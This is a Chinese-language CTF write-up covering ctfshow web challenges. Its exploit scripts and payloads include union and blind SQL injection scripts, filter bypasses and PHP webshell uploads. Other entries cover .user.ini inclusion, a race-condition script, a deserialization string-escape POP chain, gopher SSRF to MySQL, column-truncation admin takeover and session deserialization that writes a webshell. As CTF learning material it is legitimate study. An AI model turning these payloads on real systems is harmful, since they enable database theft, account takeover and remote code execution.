ctfshow练习

web

web签到题

image-20230407220424812

base64

web2

是sql注入,但是没有回显,搞得挺恶心的,上sqlmap不知道为啥跑不出来

这个报错是没有一点显示的,搞得最开始我都没弄清单双引号

但本质上还是个简单的sql注入

1
username=a' or 1=1 #&password=a

有显示

image-20230407222706982

order by 查到是3,联合注入

1
username=a' union select 1,database(),3#&password=a

要注意的是,这里的回显位是2,必须把要查的东西放在第二位

显示web2

爆库爆表爆值

1
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#&password=a
1
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=a
1
username=a' union select 1,group_concat(flag),3 from web2.flag#&password=a

得到flag

web3

有提示

image-20230412153140585

那就是伪协议文件包含了,而且没有什么过滤

1
?url=data://text/plain,<?=`cat ctf_go_go_go`;?>

显示出flag

web4

1
<?php include($_GET['url']);?>

文件包含考虑php伪协议,但是传值之后发现error报错,看了wp才知道又是日志包含

(看了一眼过滤php和data)

改个UA再发包,写个一句话木马连蚁剑

web5

1
2
3
4
5
6
7
8
9
10
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}

ctype_alpha()判断是否全字母,is_numeric()判断是否全数字,简单的md5绕过

1
?v1=QNKCDZO&v2=240610708

web6

唉,没有一点提示,过滤了or和空格。还把报错关了。试了一下才知道有三列,回显位在2

1
password=2&username=-1'union/**/select/**/1,2,3#

然后就是最傻逼的拼命令

1
password=2&username=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
1
password=2&username=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
1
password=2&username=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/web2.flag#

web7

一样的

1
?id=-1/**/union/**/select/**/1,2,3
1
?id=-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
1
?id=-1/**/union/**/select/**/1,database(),group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
1
?id=-1/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/web.flag#

web8

-1/**/or/**/1=1/**/order/**/by/**/3测出来有三段

但是禁用了union关键字,那就只能用盲注了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://e3406b2c-d1a2-4d95-9939-2b3b5e00d525.challenge.ctf.show/'
s = requests.session()

flag = ""
for i in range(1, 80):
for j in range(32, 128):
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#" % (
str(i), str(j))
test = s.get(url = url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in test:
flag += chr(j)
print(flag)
break
1
2
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#" % (
str(i), str(j))
1
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))

唉,phpmyadmin真是傻逼,乱切换数据库。跑测试的时候弄了好久,还得是Navicat

NP,启动!

web9

呃呃,脑残是不。啥提示没有,试了个ffifdyop给我弹flag了,也不提示我md5

web10

点击取消弹出来个index.phps,打开查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

这里直接用的strlen来判断,那么双写就绕过不了了。还把union select禁用了,那quine注入也用不了

本来是想着使用堆叠注入。在后面堆叠插入一条新的数据。但由于使用的是mysqli_query函数,更没法堆叠注入。堆叠注入要求使用mysqli_multi_query函数,只有这个函数能一次性执行多条语句

看似是没什么思路了,看了一下别人的wp才知道还有一种方法也能构造出多一条数据

GROUP BY 会根据每条password的值进行判断。如果结合SUM等函数,就可以做到让password相同的值所对应的其他列内容进行SUM等操作

至于 WITH ROLLUP,它是一种用于在 GROUP BY 子句中添加汇总行的选项。它会在结果中添加一个额外的行,该行包含了所有分组的聚合结果。同上,如果进行了SUM操作,就会把所有的值都SUM起来

例:

image-20230922095013228

1
select `password`,SUM(`username`) FROM users GROUP BY `password`

image-20230922095727165

而如果加上rollup,就会多处一列,再次进行SUM的汇总操作

image-20230922095822472

而此时,password这一栏会显示NULL

这个题就是利用了这个点,产生了一条password=Null的数据。而这时在POST中传入null就可echo出flag

再补充一下堆叠注入的办法吧,虽然在这题用不了,但谁知道以后呢。只适用于mysqli_multi_query

使用多条sql语句,并用;分割执行。本质上是堆叠+二次注入

payload:

1
>1;;INSERT INTO `user`.`users` (`password`, `username`) VALUES ('test', 'test');;UPDATE users SET password = 'done';UPDATE users SET username = 'done';

这样一来就把所有的用户名和对应的密码都设置为done了

wb11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

这题也是出的云里雾里的,跟数据库一点关系没有

$password实际上是get传参进来的,和session[‘password’]进行比较

如果两个都为空即可绕过

image-20230922131119973

删掉password的赋值和Cookie

web12

F12给出hit:?cmd=

尝试多次之后发现传入phpinfo();可以成功回显,思路就是直接查文件。但是一看phpinfo里能用的函数基本全给我ban了,直接用命令的方法也不会是很ok

这时候就要想到php原生类了。结合我之前做的笔记,直接Globlterator+SplFileObject开查

1
2
3
?cmd=$context = new SplFileObject('/var/www/html/903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');foreach($context as $f){
echo($f);
}

唉,看了别的师傅wp,还有更简单的函数highlight_file,直接秒了

1
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")

红包题第二弹

给cmd随便穿了个东西就弹出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

可见,能用的有 p = + ; . ? < > ` \

想不明白直接找资料

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX

基本思路就是上传,然后用eval+`+?+.去模糊匹配执行(.=source,source一个文件相当于把每行的命令依次执行一次)

image-20230922204150800

那就是要先完成文件上传,直接让chatgpt给就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传示例</title>
</head>
<body>
<h1>文件上传示例</h1>
<input type="file" id="fileInput" accept=".jpg, .jpeg, .png, .gif">
<button type="button" onclick="uploadFile()">上传文件</button>
<div id="response"></div>

<script>
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const responseDiv = document.getElementById('response');

if (fileInput.files.length === 0) {
alert('请选择一个文件');
return;
}

const file = fileInput.files[0];

const formData = new FormData();
formData.append('file', file);

fetch('https://your-upload-url.com', {
method: 'POST',
body: formData
})
.then(response => {
if (response.ok) {
return response.text();
} else {
throw new Error('文件上传失败');
}
})
}
</script>
</body>
</html>

这时候直接向/index.php?cmd=?><?=`.+/??p/p?p??????`;上传test.txt,内容是

1
2
#! /bin/bash
cat /flag.txt

就可以弹出flag

image-20230922211835007

web13

唉,也是脑残。源码在upload.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>

要求文件名中没有php而且后缀名小于等于3

那基本所有能直接使用的php页面都传不上去了

而且要文件大小<=24,那就只能这么写了<?php eval($_POST['a']);

又不能上传.htaccess来解析绕过

对于php中的.user.ini有如下解释:

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

所以上传之后要等一会才能重新发

web14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}

都忘了,如果switch case不加break会一直顺序执行,所以传了

1
?c=3

之后就会一直执行到echo “$url”;

进入下一个网页F12有提示

1
2
3
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}

试了一下发现是int注入,直接order by查只有一列,当前数据库为web。而且ban了information_schema.tables。

可以用`information_schema`.`tables`代替information_schema.tables

1
2
3
4
5
6
7
8
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/`information_schema`.`tables`/**/where/**/`table_schema`='web'%23
=>alert('content')

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/`information_schema`.`columns`/**/where/**/`table_name`='content'%23
=>alert('id,username,password')

?query=-1/**/union/**/select/**/group_concat(id,';',username,';',password)/**/from/**/content%23
=>alert('1;admin;flag is not here!,2;gtf1y;wow,you can really dance,3;Wow;tell you a secret,secret has a secret...')

好吧,并没有flag,那就直接试一下load_file读取本地文件

1
2
3
4
5
6
7
8
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")%23
=>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')

看一下代码可以再读一下/real_flag_is_here

1
2
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")%23
=>alert('ctfshow{8eb644ba-4766-41b1-a638-34e2fe5f5312}')

或者从代码里可以看出来要判断$file中是否存在”ctf.show”字符串,也可以通过into outfile函数写文件到/tmp/gtf1y中

1
?query=-1/**/union/**/select/**/"ctf.show"/**/into/**/outfile("/tmp/gtf1y")%23

然后直接访问secret.php,也能弹出flag

红包题第六弹

扫目录有web.zip泄露,对页面审计发现有主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function ctfshow(token,data){

var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}

结合web.zip中的check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function receiveStreamFile($receiveFile){

$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';

if(empty($streamData)){
$streamData = file_get_contents('php://input');
}

if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){

$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}

$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;

随便传个东西过去发现直接报md5 error,就是md5校验那里没过,再跟踪一下receiveStreamFile函数看一下他在做什么

$streamData从php://input里接收数据流,然后通过file_put_contents写入到$receiveFile中

遇到了挺多次的小点,记录一下为什么php://input传不进去文件的问题

php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

而$receiveFile已经写死是flag.dat,那唯一可控的就是传输过去的数据流

可以直接把key.dat下下来,就可以得到目标文件的data,现在就需要想怎么把本地的key.dat传到服务器里

那就可以本地给个上传前端(红包题第二弹),然后在bp里稍微改一下data就能绕过md5

image-20230923194044472

还要把文件尾的回车删掉,这时就能弹出same file的报错。这说明md5相等而且sha512也相等

这个时候看了网上大部分wp,都说是md5碰撞,但其实不是的。这是条件竞争

两个if判断中必然会有时间差,要利用这个时间差把flag.dat再次替换一遍,才可以做到绕过sha512

如果单纯利用fastcoll,是碰撞不出来和key.dat有相同md5的文件,这也是我看了很久想不明白的点

而条件竞争通常需要python的多线程操作。这里有特殊字符,bp经常会自动给你加payload导致和源文件不一致,所以使用python的thread模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import threading

import requests

url = "http://d6d06d87-f806-48a0-a282-a653e47e9fb6.challenge.ctf.show/check.php?token=70efdf2ec9b086079795c442636b55fb&php://input"

def POST(data):
try:
r = requests.post(url,data = data)
print(r.text)
pass
except Exception as e:
print(e)
pass
pass

with open('key.dat','rb') as k:
data = k.read()
pass
for i in range(500):
threading.Thread(target = POST,args = (data,)).start()
threading.Thread(target = POST,args = ("test",)).start()

image-20230923222239758

红包题第七弹

咋一看没东西,扫网发现有git泄露

用githack失败了,那就换用Git_Extract,把git扒下来,发现有backdoor.php的后门一句话木马

1
@eval($_POST['Letmein']);

直接进去打,但是禁用的函数太多,没法rce。先连个蚁剑找到flag在/var/www下

可以直接用highlight_file显示出来

萌新专属红包题

唉,最低能的弱口令。得找个时间把字典好好整理一下了

1
u=admin&p=admin888

CTFshow web1

扫网发现www.zip,打开发现连了web15的数据库,函数大概是全禁了

1
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username))

里边有个user_main.php,但是并不会直接给你放出pwd

image-20230924173415512

注意得到,执行的sql语句是select * from user order by $order,而order是可以操控的位置,当使用pwd的时候,就会使用pwd来排序。如果密码排序>flag,排序就会靠上。这个时候就得考虑盲注了

这里给出二分法的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

regurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/reg.php"
queurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/user_main.php?order=pwd"
key = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
flag = "ctfshow{"
# 注册项目
for i in range(50):
max = len(key)
min = 0
mid = (max + min) >> 1
while mid < max:
c = key[mid]
print("now playload:", c)
raw_data = {
"username": flag + c,
"email": "flag",
"nickname": "flag",
"password": flag + c,
}
s = requests.session()
reg = s.post(url = regurl,
data = raw_data,
headers = {
"Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
})
que = requests.get(url = queurl, headers = {
"Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
})
p_t = que.text.index(flag + c)
p_flag = que.text.index("flag_is_my_password")
if p_t > p_flag:
max = mid
else:
min = mid + 1
mid = (min + max) >> 1
flag = flag + key[mid - 1]
print("-----------------------")
print(flag)


由于很多<>等特殊符号被禁用了,所以直接指定key。而且mysql排序并不是按ascii码排序。当字母不同,按字母表顺序排列;当同字母,先小写后大写

game-gyctf web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

这题涉及到了反序列化字符串逃逸。

PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串

www.zip扒下来,看得到只有`$_SESSION['login']===1`的时候才能弹出flag

但是只有User::login()中才会对$_SESSION['login']进行赋值

而赋值的条件得是token=admin或者password=数据库中password

通过分析可知,User::login()其实就是写死了dbCtl::login()的查询语句,但是我们可以通过链子自己构造sql语句

UpdateHelper::__destruct()->User::__toString->Info::__Call->dbCtrl::login()

这样如果第一次打通了,会触发$_SESSION['token']="admin"

第二次再次登陆的时候,会直接判断dbCtrl

1
2
3
if ($this->token=='admin') {
return $idResult;
}

然后就可以绕过密码的验证

唯一的问题就是Info在构造的时候并不会构造$CtrlCase,导致无法进__call函数

但是safe函数可以帮助绕过该限制(字符串逃逸漏洞)

尝试传age=1&nickname=2

传出的反序列化字符串为

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}

说明可控的只有age和nickname两个字段,最后的CtrlCase无法传入。但是由于safe的函数的出现,使得逃逸成为了可能

当传入age=1&nickname=union

传出的反序列化字符串变成了

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:5:"hacker";s:8:"CtrlCase";N;}

这样s:8:"nickname";s:5:"hacker"就出错了,因为其中的s:5仅与传入的nickname的值的长度有关,而hacker是6位。这是因为safe函数会把一些单词替换

那就可以自行构造一个序列化字符串进去,强行把后面的CtrlCase构造出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

class User{
public $nickname;
public $age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public function __construct(){
$this->nickname = new Info();
}
}

class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}

class UpdateHelper{
public $sql;
public function __destruct()
{
echo $this->sql;
}
public function __construct(){
$this->sql = new User();
}
}

class dbCtrl{
public $name = "admin";
public $password = '1';
}

$u = new UpdateHelper();
$len = strlen('";s:8:"CtrlCase";'.serialize($u).'}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($u).'}';
echo $payload;

这样就构造出了payload,把payload作为nickname传入

由于safe会把union修改为hacker(字符数+1),只要我们传入一定长度的union,就可以让s:8:"nickname";s:1920:其中的s:1920全部变成hacker,从而使后面我们自行构造的CtrlCase逃出

当我们传入的sql语句select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?不管username是什么,始终返回1,c4ca4238a0b923820dcc509a6f75849b

而在传入payload的时候就指定public $password = '1',就可以通过if (md5($this->password)!==$passwordResult)这条语句成功赋值session

在最后添加一个}来提前结束反序列化,由于反序列化的特性,成功后将忽略后面多余的字符串

image-20231015223831637

打进去之后我们的$_SESSION[‘token’]=admin,再次访问login就能通过验证弹出flag

Fishman

这题有一个注入点可以打

但是有个waf,会遍历所有get,post,cookie参数,在黑名单两侧加上@从而阻止注入

1
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

但在member.php中有一条json_decode操作,而json_decode会将传入的unicode自动解码,这就提供了条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}

可以从返回的setcookie来判断是否成功,给个poc进行验证

1
2
3
4
5
<?php
require_once "include/safe.php";
var_dump($_COOKIE['test']);
$login_data = json_decode($_COOKIE['test'], true);
var_dump($login_data);

image-20231125144412967

而member.php必须从common.php里打,所以就有exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

flag = ""
url = "http://127.0.0.1:7788/poc.php"
# $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
for i in range(1, 100):
min = 33
max = 127
mid = (min + max) // 2
while min < max:
payload = "' or ascii(substr(database(),{},1))>{} #".format(i, mid)
cookie = 'islogin=1;login_data={{"admin_user":"{payload}","admin_pass":65}}'.format(payload = payload)
headers = {'cookie': cookie}
re = requests.get(url = url, headers = headers)
setcookie = str(re.headers)
if setcookie.count("islogin") == 2:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
if chr(mid) == " ":
break
flag += chr(mid)
print(flag)

红包题第九弹

登陆发现除了传username之外还有个returl参数,把returl的值改为http://baidu.com直接回显了百度的页面,可能是ssrf

猜测是使用了include远程包含或者curl函数,题目给了hint是跟mysql有关,那就大概是curl

curl也没法用file函数,换用gopher,hint给出mysql无密码,端口3306

1
python2 gopherus.py --exploit mysql

往本地写文件

image-20231125225547960

把payload urlencode一下传进去成功写入tt.php文件中了,蚁剑直接打就行

红包题 葵花宝典

本来以为考的是PDO的sql注入,但是用的不是gbk,没法宽字节

注册+登陆就出flag

红包题 辟邪剑谱

mysql有个特性,当模式设置为非严格的时候,如果插入的值比列设置的值长,会自动截取一部分

比如插入admin+空格x300,如果列设置的是VARCHAR(255),mysql会自动截取到合适的位置=>admin

login.php写死了查询的用户为admin

1
2
3
4
5
6
7
8
$data=$db->select("admin",["username","password"],["username[=]"=>"admin"]);
foreach($data as $d){

if ($d['password']===$user_password){
$_SESSION['user']=$user_name;
die("login success!<br><hr>flag is $flag");
}
}

所以只能通过注册来覆盖这个原来的admin

1
2
3
4
5
6
7
8
9
10
11
12
13
$user_name=trim($_POST['user_name']);
$user_password=trim($_POST['user_password']);
$data=$db->select("admin",["username","password"],["username[=]"=>$user_name]);
if(count($data)>0){
die("username in use!");
}
if($user_name==="admin"){
die("you are not admin!");
}
if(preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i",$user_name)){
die("stop hack!");
}
$data = $db->insert('admin',["username"=>"$user_name","password"=>"$user_password"]);

由于trim函数的处理,所有开头/结尾的特殊符号都会被删去,所以只能构造admin+空格x300+1来打

1
user_name=admin                                                                                                                                                                                                                                                                         1&user_password=1

成功注册然后登陆

【nl】难了

>nl

一切看起来都那么合情合理

session的反序列化攻击

1
ini_set('session.serialize_handler', 'php');

在这里的时候会进行一次反序列化

然后再了解一下序列化处理器

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

php

1
2
3
4
5
><?php
>error_reporting(0);
>ini_set('session.serialize_handler','php');
>session_start();
>$_SESSION['session'] = $_GET['session'];

image-20231127134447028

结果为session|s:4:"test";

session$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary

1
2
3
4
5
><?php
>error_reporting(0);
>ini_set('session.serialize_handler','php_binary');
>session_start();
>$_SESSION['sessionsessionsessionsessionsessionsession'] = $_GET['sessionsessionsessionsessionsessionsession'];

image-20231127134749768

结果为*sessionsessionsessionsessionsessionsessions:4:"test";

*为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessionsession为键名,s:4:"test";为传入 GET 参数经过序列化后的值

php_serialize

1
2
3
4
5
6
7
><?php
>var_dump(sys_get_temp_dir());
>error_reporting(0);
>ini_set('session.serialize_handler','php_serialize');
>session_save_path("D:\\server\\tmp");
>session_start();
>$_SESSION['session'] = $_GET['session'];

image-20231127135048253

结果为a:1:{s:7:"session";s:4:"test";}

单纯的反序列化

https://xz.aliyun.com/t/6640#toc-5

但指定解析器为php时,可以人为添加一个|,然后跟需要反序列化的内容。从而指定序列化

1
2
3
4
5
6
7
8
9
10
11
class User{
public $username;
public $password;
public $status;
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

一眼写文件,指定username=test.phppassword=<?php eval($_POST['shell']);?>,然后把序列化出来的内容加个|然后base64传入就行

payload

1
2
3
4
5
